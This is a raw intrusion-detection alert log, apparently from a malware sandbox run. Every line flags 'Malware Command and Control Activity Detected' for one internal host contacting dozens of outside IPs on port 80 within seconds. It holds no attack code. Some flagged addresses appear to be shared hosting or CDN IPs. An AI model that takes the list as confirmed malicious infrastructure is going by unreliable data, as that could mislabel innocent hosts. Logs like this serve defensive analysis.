2024-10-25T11:18:36.337216+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:36.337574+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53177	185.15.129.58	80	TCP
2024-10-25T11:18:36.372210+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53167	104.21.23.9	80	TCP
2024-10-25T11:18:36.438391+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53176	104.21.88.198	80	TCP
2024-10-25T11:18:36.450723+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53174	80.93.82.33	80	TCP
2024-10-25T11:18:36.460496+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53175	34.218.204.173	80	TCP
2024-10-25T11:18:36.462666+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53168	192.124.249.20	80	TCP
2024-10-25T11:18:36.467408+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53172	70.39.251.249	80	TCP
2024-10-25T11:18:36.485315+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53165	142.250.186.147	80	TCP
2024-10-25T11:18:36.522815+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53173	118.27.125.181	80	TCP
2024-10-25T11:18:36.544766+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53170	59.106.19.204	80	TCP
2024-10-25T11:18:36.587573+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:36.669859+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53164	170.82.174.30	80	TCP
2024-10-25T11:18:36.946561+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53179	54.161.222.85	80	TCP
2024-10-25T11:18:36.946598+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53174	80.93.82.33	80	TCP
2024-10-25T11:18:36.946694+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53178	89.161.163.246	80	TCP
2024-10-25T11:18:36.947324+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:36.947648+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53134	64.125.133.18	80	TCP
2024-10-25T11:18:36.963678+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53183	188.114.97.3	80	TCP
2024-10-25T11:18:36.966267+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53181	62.122.190.121	80	TCP
2024-10-25T11:18:36.984643+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53182	3.19.116.195	80	TCP
2024-10-25T11:18:37.071099+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53164	170.82.174.30	80	TCP
2024-10-25T11:18:37.098444+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53183	188.114.97.3	80	TCP
2024-10-25T11:18:37.110200+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53185	34.149.87.45	80	TCP
2024-10-25T11:18:37.141448+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53186	192.252.154.18	80	TCP
2024-10-25T11:18:37.169415+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53184	139.59.171.124	80	TCP
2024-10-25T11:18:37.177877+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53190	104.26.7.221	80	TCP
2024-10-25T11:18:37.190543+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:37.249474+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53181	62.122.190.121	80	TCP
2024-10-25T11:18:37.270114+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53187	13.248.252.114	80	TCP
2024-10-25T11:18:37.418593+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53184	139.59.171.124	80	TCP
2024-10-25T11:18:37.439378+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:37.455492+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53180	104.26.15.53	80	TCP
2024-10-25T11:18:37.543047+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53189	142.250.186.147	80	TCP
2024-10-25T11:18:37.564461+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53191	104.21.88.198	80	TCP
2024-10-25T11:18:37.619348+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53192	54.161.222.85	80	TCP
2024-10-25T11:18:37.622462+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53195	185.15.129.58	80	TCP
2024-10-25T11:18:37.730120+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53188	170.82.174.30	80	TCP
2024-10-25T11:18:37.730120+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53191	104.21.88.198	80	TCP
2024-10-25T11:18:37.754243+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53194	188.114.96.3	80	TCP
2024-10-25T11:18:37.772713+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53197	141.193.213.11	80	TCP
2024-10-25T11:18:37.848104+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53193	60.43.154.138	80	TCP
2024-10-25T11:18:37.884042+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53199	54.161.222.85	80	TCP
2024-10-25T11:18:37.918793+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53204	192.124.249.10	80	TCP
2024-10-25T11:18:37.930228+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53197	141.193.213.11	80	TCP
2024-10-25T11:18:37.962028+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53198	34.218.204.173	80	TCP
2024-10-25T11:18:37.972370+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53196	89.161.163.246	80	TCP
2024-10-25T11:18:37.976160+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53194	188.114.96.3	80	TCP
2024-10-25T11:18:38.044909+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53201	62.122.190.121	80	TCP
2024-10-25T11:18:38.066439+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53204	192.124.249.10	80	TCP
2024-10-25T11:18:38.092421+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53205	188.114.97.3	80	TCP
2024-10-25T11:18:38.116378+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53202	80.74.154.6	80	TCP
2024-10-25T11:18:38.120065+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53193	60.43.154.138	80	TCP
2024-10-25T11:18:38.229374+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53207	172.67.173.200	80	TCP
2024-10-25T11:18:38.244813+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53205	188.114.97.3	80	TCP
2024-10-25T11:18:38.301613+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53188	170.82.174.30	80	TCP
2024-10-25T11:18:38.326211+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53201	62.122.190.121	80	TCP
2024-10-25T11:18:38.346695+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53206	13.248.252.114	80	TCP
2024-10-25T11:18:38.359814+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53207	172.67.173.200	80	TCP
2024-10-25T11:18:38.371827+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53202	80.74.154.6	80	TCP
2024-10-25T11:18:38.436993+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53211	198.185.159.144	80	TCP
2024-10-25T11:18:38.471327+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53208	139.59.171.124	80	TCP
2024-10-25T11:18:38.495978+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53210	192.252.154.18	80	TCP
2024-10-25T11:18:38.544331+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53209	185.80.51.179	80	TCP
2024-10-25T11:18:38.600277+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53213	54.161.222.85	80	TCP
2024-10-25T11:18:38.681083+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53203	104.26.15.53	80	TCP
2024-10-25T11:18:38.734885+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53208	139.59.171.124	80	TCP
2024-10-25T11:18:38.810720+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53209	185.80.51.179	80	TCP
2024-10-25T11:18:38.825495+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53212	81.2.194.241	80	TCP
2024-10-25T11:18:38.829604+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53215	135.181.73.98	80	TCP
2024-10-25T11:18:38.912816+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53217	188.165.133.163	80	TCP
2024-10-25T11:18:38.921353+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53216	60.43.154.138	80	TCP
2024-10-25T11:18:39.060306+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53223	141.193.213.11	80	TCP
2024-10-25T11:18:39.069707+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53225	192.124.249.10	80	TCP
2024-10-25T11:18:39.076267+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53226	188.114.96.3	80	TCP
2024-10-25T11:18:39.086958+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53215	135.181.73.98	80	TCP
2024-10-25T11:18:39.092116+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53221	69.163.239.62	80	TCP
2024-10-25T11:18:39.093495+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53212	81.2.194.241	80	TCP
2024-10-25T11:18:39.147577+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53220	34.218.204.173	80	TCP
2024-10-25T11:18:39.158469+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53217	188.165.133.163	80	TCP
2024-10-25T11:18:39.196548+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53219	116.211.150.37	80	TCP
2024-10-25T11:18:39.226000+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53226	188.114.96.3	80	TCP
2024-10-25T11:18:39.232440+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53216	60.43.154.138	80	TCP
2024-10-25T11:18:39.253433+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53223	141.193.213.11	80	TCP
2024-10-25T11:18:39.261907+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53222	202.254.236.40	80	TCP
2024-10-25T11:18:39.276972+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53221	69.163.239.62	80	TCP
2024-10-25T11:18:39.288018+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53225	192.124.249.10	80	TCP
2024-10-25T11:18:39.307526+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53224	80.74.154.6	80	TCP
2024-10-25T11:18:39.384692+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53218	104.218.10.254	80	TCP
2024-10-25T11:18:39.513669+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53230	172.67.173.200	80	TCP
2024-10-25T11:18:39.546984+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53222	202.254.236.40	80	TCP
2024-10-25T11:18:39.633916+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53224	80.74.154.6	80	TCP
2024-10-25T11:18:39.646212+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53228	185.80.51.179	80	TCP
2024-10-25T11:18:39.675143+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53230	172.67.173.200	80	TCP
2024-10-25T11:18:39.695197+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53229	46.242.238.60	80	TCP
2024-10-25T11:18:39.790625+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53233	198.185.159.144	80	TCP
2024-10-25T11:18:39.834912+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53231	3.94.41.167	80	TCP
2024-10-25T11:18:39.948180+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53228	185.80.51.179	80	TCP
2024-10-25T11:18:39.962192+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53237	188.114.96.3	80	TCP
2024-10-25T11:18:39.995848+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53235	104.26.3.124	80	TCP
2024-10-25T11:18:40.053946+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53234	108.167.164.216	80	TCP
2024-10-25T11:18:40.113358+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53232	104.21.66.46	80	TCP
2024-10-25T11:18:40.117868+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53236	135.181.73.98	80	TCP
2024-10-25T11:18:40.155462+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53238	5.189.128.121	80	TCP
2024-10-25T11:18:40.158439+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53237	188.114.96.3	80	TCP
2024-10-25T11:18:40.199354+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53235	104.26.3.124	80	TCP
2024-10-25T11:18:40.216675+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53242	96.127.180.42	80	TCP
2024-10-25T11:18:40.275677+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53241	188.165.133.163	80	TCP
2024-10-25T11:18:40.282151+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53240	81.2.194.241	80	TCP
2024-10-25T11:18:40.364196+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53242	96.127.180.42	80	TCP
2024-10-25T11:18:40.398433+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53236	135.181.73.98	80	TCP
2024-10-25T11:18:40.406480+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53238	5.189.128.121	80	TCP
2024-10-25T11:18:40.419686+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53243	51.79.51.72	80	TCP
2024-10-25T11:18:40.475211+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53245	69.163.239.62	80	TCP
2024-10-25T11:18:40.503440+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53248	188.114.96.3	80	TCP
2024-10-25T11:18:40.545561+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53247	3.94.41.167	80	TCP
2024-10-25T11:18:40.545604+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53241	188.165.133.163	80	TCP
2024-10-25T11:18:40.569127+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53240	81.2.194.241	80	TCP
2024-10-25T11:18:40.600241+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53244	202.254.236.40	80	TCP
2024-10-25T11:18:40.673132+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53248	188.114.96.3	80	TCP
2024-10-25T11:18:40.674507+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53245	69.163.239.62	80	TCP
2024-10-25T11:18:40.770517+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53246	157.112.176.4	80	TCP
2024-10-25T11:18:40.881397+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53244	202.254.236.40	80	TCP
2024-10-25T11:18:40.891683+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53249	46.242.238.60	80	TCP
2024-10-25T11:18:41.068237+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53252	69.163.182.181	80	TCP
2024-10-25T11:18:41.083895+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53250	23.227.38.74	80	TCP
2024-10-25T11:18:41.095183+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53254	3.94.41.167	80	TCP
2024-10-25T11:18:41.123144+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53252	69.163.182.181	80	TCP
2024-10-25T11:18:41.134860+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53255	3.94.41.167	80	TCP
2024-10-25T11:18:41.148650+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53253	104.196.26.65	80	TCP
2024-10-25T11:18:41.175013+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53256	75.119.202.130	80	TCP
2024-10-25T11:18:41.229138+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53256	75.119.202.130	80	TCP
2024-10-25T11:18:41.250375+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53257	104.26.3.124	80	TCP
2024-10-25T11:18:41.337316+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53253	104.196.26.65	80	TCP
2024-10-25T11:18:41.452755+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53257	104.26.3.124	80	TCP
2024-10-25T11:18:41.463059+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53260	108.167.164.216	80	TCP
2024-10-25T11:18:41.496408+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53262	188.114.96.3	80	TCP
2024-10-25T11:18:41.506252+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53259	217.19.237.54	80	TCP
2024-10-25T11:18:41.524116+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53264	173.254.28.29	80	TCP
2024-10-25T11:18:41.624751+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53261	104.21.66.46	80	TCP
2024-10-25T11:18:41.645883+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53266	96.127.180.42	80	TCP
2024-10-25T11:18:41.691759+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53262	188.114.96.3	80	TCP
2024-10-25T11:18:41.702025+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53265	51.79.51.72	80	TCP
2024-10-25T11:18:41.710158+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53264	173.254.28.29	80	TCP
2024-10-25T11:18:41.711116+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53263	5.189.128.121	80	TCP
2024-10-25T11:18:41.815461+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53266	96.127.180.42	80	TCP
2024-10-25T11:18:41.837652+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53267	69.163.182.181	80	TCP
2024-10-25T11:18:41.841105+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53268	3.94.41.167	80	TCP
2024-10-25T11:18:41.869389+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53269	3.94.41.167	80	TCP
2024-10-25T11:18:41.935725+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53270	75.119.202.130	80	TCP
2024-10-25T11:18:42.014259+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53263	5.189.128.121	80	TCP
2024-10-25T11:18:42.189938+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:42.221800+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53273	13.248.169.48	80	TCP
2024-10-25T11:18:42.404325+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53272	217.79.184.35	80	TCP
2024-10-25T11:18:42.430805+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53276	3.94.41.167	80	TCP
2024-10-25T11:18:42.436079+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:42.462266+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53275	195.78.66.65	80	TCP
2024-10-25T11:18:42.465354+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53278	188.114.97.3	80	TCP
2024-10-25T11:18:42.477932+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53274	183.90.183.73	80	TCP
2024-10-25T11:18:42.597785+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53281	69.163.182.181	80	TCP
2024-10-25T11:18:42.637096+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53282	147.154.0.23	80	TCP
2024-10-25T11:18:42.652405+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53258	213.165.251.217	80	TCP
2024-10-25T11:18:42.652406+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53281	69.163.182.181	80	TCP
2024-10-25T11:18:42.669484+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53277	23.227.38.74	80	TCP
2024-10-25T11:18:42.682559+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:42.734248+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53279	157.112.182.239	80	TCP
2024-10-25T11:18:42.769290+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53285	75.119.202.130	80	TCP
2024-10-25T11:18:42.774821+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53280	144.76.24.9	80	TCP
2024-10-25T11:18:42.826608+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53283	217.19.237.54	80	TCP
2024-10-25T11:18:42.832664+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53285	75.119.202.130	80	TCP
2024-10-25T11:18:42.833442+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53287	104.196.26.65	80	TCP
2024-10-25T11:18:42.931799+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:43.053710+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53287	104.196.26.65	80	TCP
2024-10-25T11:18:43.064924+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53288	188.166.152.188	80	TCP
2024-10-25T11:18:43.104245+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53150	137.118.26.67	80	TCP
2024-10-25T11:18:43.157676+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53289	165.22.45.169	80	TCP
2024-10-25T11:18:43.166074+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53291	3.94.41.167	80	TCP
2024-10-25T11:18:43.177974+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53271	3.65.101.129	80	TCP
2024-10-25T11:18:43.323701+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53289	165.22.45.169	80	TCP
2024-10-25T11:18:43.369192+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53292	69.163.182.181	80	TCP
2024-10-25T11:18:43.374050+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53290	85.131.197.10	80	TCP
2024-10-25T11:18:43.552805+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53295	75.119.202.130	80	TCP
2024-10-25T11:18:43.593859+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53296	13.248.169.48	80	TCP
2024-10-25T11:18:43.622355+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53294	217.79.184.35	80	TCP
2024-10-25T11:18:43.640728+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53290	85.131.197.10	80	TCP
2024-10-25T11:18:43.698420+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53302	104.21.23.9	80	TCP
2024-10-25T11:18:43.751718+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53305	70.39.251.249	80	TCP
2024-10-25T11:18:43.760824+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53303	192.124.249.20	80	TCP
2024-10-25T11:18:43.770677+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53299	13.248.252.114	80	TCP
2024-10-25T11:18:43.817348+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:43.847435+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53302	104.21.23.9	80	TCP
2024-10-25T11:18:43.923048+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53309	80.93.82.33	80	TCP
2024-10-25T11:18:43.931616+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53310	34.218.204.173	80	TCP
2024-10-25T11:18:43.952212+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53304	23.227.38.74	80	TCP
2024-10-25T11:18:43.960407+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53311	18.245.31.21	80	TCP
2024-10-25T11:18:43.961278+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53303	192.124.249.20	80	TCP
2024-10-25T11:18:43.964177+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53305	70.39.251.249	80	TCP
2024-10-25T11:18:43.975895+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53307	118.27.125.181	80	TCP
2024-10-25T11:18:43.993685+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.022614+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53306	59.106.19.204	80	TCP
2024-10-25T11:18:44.026295+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53313	35.164.78.200	80	TCP
2024-10-25T11:18:44.045861+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53293	74.208.236.101	80	TCP
2024-10-25T11:18:44.050187+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53316	188.114.97.3	80	TCP
2024-10-25T11:18:44.061500+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.092900+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53166	137.118.26.67	80	TCP
2024-10-25T11:18:44.137434+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53314	144.76.24.9	80	TCP
2024-10-25T11:18:44.166681+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53315	213.186.33.40	80	TCP
2024-10-25T11:18:44.177282+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53309	80.93.82.33	80	TCP
2024-10-25T11:18:44.191798+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53284	213.165.251.217	80	TCP
2024-10-25T11:18:44.207125+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53311	18.245.31.21	80	TCP
2024-10-25T11:18:44.239627+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.298119+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53317	147.154.3.56	80	TCP
2024-10-25T11:18:44.302977+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.407196+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53315	213.186.33.40	80	TCP
2024-10-25T11:18:44.432637+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53320	188.114.97.3	80	TCP
2024-10-25T11:18:44.471791+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53319	3.19.116.195	80	TCP
2024-10-25T11:18:44.473572+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53318	188.166.152.188	80	TCP
2024-10-25T11:18:44.485009+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.521197+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53321	103.224.182.241	80	TCP
2024-10-25T11:18:44.548251+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.581910+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53322	34.149.87.45	80	TCP
2024-10-25T11:18:44.682927+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53324	104.26.7.221	80	TCP
2024-10-25T11:18:44.735744+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:44.795089+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53301	188.114.97.3	80	TCP
2024-10-25T11:18:44.813316+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53328	104.21.88.198	80	TCP
2024-10-25T11:18:44.854935+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53331	185.15.129.58	80	TCP
2024-10-25T11:18:44.959592+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53328	104.21.88.198	80	TCP
2024-10-25T11:18:44.980447+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53325	142.250.186.147	80	TCP
2024-10-25T11:18:44.982121+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53312	3.65.101.129	80	TCP
2024-10-25T11:18:45.030478+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	53327	18.245.31.21	80	TCP
